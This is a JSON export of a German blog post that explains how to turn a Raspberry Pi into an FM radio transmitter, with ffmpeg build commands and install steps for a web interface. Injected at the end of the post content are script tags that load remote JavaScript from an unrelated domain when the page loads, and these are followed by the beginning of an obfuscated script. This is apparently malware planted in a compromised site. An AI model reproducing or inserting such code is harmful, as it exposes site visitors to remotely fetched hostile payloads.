{"id":180,"date":"2016-03-15T17:10:47","date_gmt":"2016-03-15T16:10:47","guid":{"rendered":"http:\/\/92.205.129.62\/bmetallica\/?p=180"},"modified":"2026-03-20T08:29:40","modified_gmt":"2026-03-20T07:29:40","slug":"pi-fm","status":"publish","type":"post","link":"https:\/\/www.bmetallica.de\/index.php\/2016\/03\/15\/pi-fm\/","title":{"rendered":"PI-FM"},"content":{"rendered":"<h1><span style=\"text-decoration: underline;\">Eigener Radiosender mit dem Raspberry<\/span><\/h1>\n<p>&nbsp;<\/p>\n<p><span style=\"text-decoration: underline;\">Voraussetzungen:<\/span><\/p>\n<ul>\n<li>Raspberry mit Raspbian (Jessie)<\/li>\n<li>Eine installierte und funktionierende Version von &#8222;ffmpeg&#8220; (bitte vorher testen)<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h2>Einleitung<\/h2>\n<p>Zuerst wird ein ca. 20cm langes St\u00fcck Kupferdraht an den GPIO4 Pin angeschlossen.<\/p>\n<p>Danach wird die n\u00f6tige Software Installiert.<\/p>\n<p>Um die Benutzung zu erleichtern, habe ich ein WEB-Interface geschrieben, in dem Playlists erzeugt, abgespeichert und wiedergegeben werden k\u00f6nnen.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u00a0<em>Hinweis:<\/em><\/strong><\/p>\n<p><em><strong>!Die Software ist lediglich eine BETA VERSION! <\/strong><\/em><\/p>\n<p><em>Einige Bestandteile fehlen noch (z.B. Interpreten und Album Verwaltung)<\/em><\/p>\n<p><em>Auch kann es bei der Installation zu Problemen kommen.\u00a0<\/em><\/p>\n<p><em>Bitte beachten Sie, dass das install-Script von einer sauberen Raspbian Installation (abgesehen von der ffmpeg Installation) ausgeht und bestimmte Daten auf dem PI \u00fcberschreibt.<\/em><\/p>\n<p><span style=\"text-decoration: underline;\"><span style=\"font-size: small;\">F\u00fcr Sch\u00e4den an Soft-\/oder Hardware \u00fcbernehme ich keine Haftung<\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"text-decoration: underline;\"><strong>Das Installer-Script installiert folgende Software:<\/strong><\/span><\/p>\n<ul>\n<li>Apache2<\/li>\n<li>PHP5<\/li>\n<li>Postgresql<\/li>\n<li>php5-pgsql<\/li>\n<li>pifm<\/li>\n<li>Webinterface<\/li>\n<\/ul>\n<p><span style=\"font-size: small;\"><em>Einige Konfigurationsdateien, sowie Datenbankbenutzer werden vom Script automatisch angepasst und angelegt. <\/em><\/span><\/p>\n<p><span style=\"font-size: small;\"><em>Bitte verwenden Sie die Installation daher nur in einem gesch\u00fctzten Umfeld oder passen Sie die Software an Ihre Sicherheitsbed\u00fcrfnisse an.<\/em><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><strong><em>Falls Sie Probleme mit der Installation von ffmpeg haben, k\u00f6nnte Ihnen dieses Script weiterhelfen (ACHTUNG: die Installation dauert sehr lange):<\/em><\/strong><\/p>\n<pre class=\"lang:default decode:true \" title=\"ffmpeg\">cd \/usr\/src\ngit clone http:\/\/git.videolan.org\/git\/x264.git\ncd x264\n.\/configure --host=arm-unknown-linux-gnueabi --enable-static --disable-opencl\nmake\nsudo make install\ncd \/usr\/src\ngit clone https:\/\/github.com\/FFmpeg\/FFmpeg.git\ncd ffmpeg\nsudo .\/configure --arch=armel --target-os=linux --enable-gpl --enable-libx264 --enable-nonfree\nmake\nsudo make install<\/pre>\n<p>Nach der Installation kann die Funktion durch den Aufruf des Befehls &#8222;ffmpeg&#8220; im Terminal getestet werden.<\/p>\n<p>&nbsp;<\/p>\n<h2>Installation von PIFM mit Webinterface<\/h2>\n<ol>\n<li>Paket <a href=\"http:\/\/bmetallica.de\/bm-fmpi_1beta.tar.gz\" target=\"_blank\" rel=\"noopener\">Bm-fmpi-web_v1beta (hier)<\/a> herunterladen.<\/li>\n<li>mit &#8222;tar xvf\u00a0 bm-fmpi_1beta.tar.gz&#8220; entpacken.<\/li>\n<li>mit &#8222;cd install&#8220; ins Verzeichnis wechseln.<\/li>\n<li>mit &#8222;.\/install.sh&#8220; das Interface und PIFM installieren.<\/li>\n<li>Am Browser eines PCs auf &#8222;http:\/\/RASPBERRY-IP&#8220; gehen, um zum Interface zu gelangen<\/li>\n<\/ol>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>const _0x18ee4f=_0x362d;function _0x1ad4(){const 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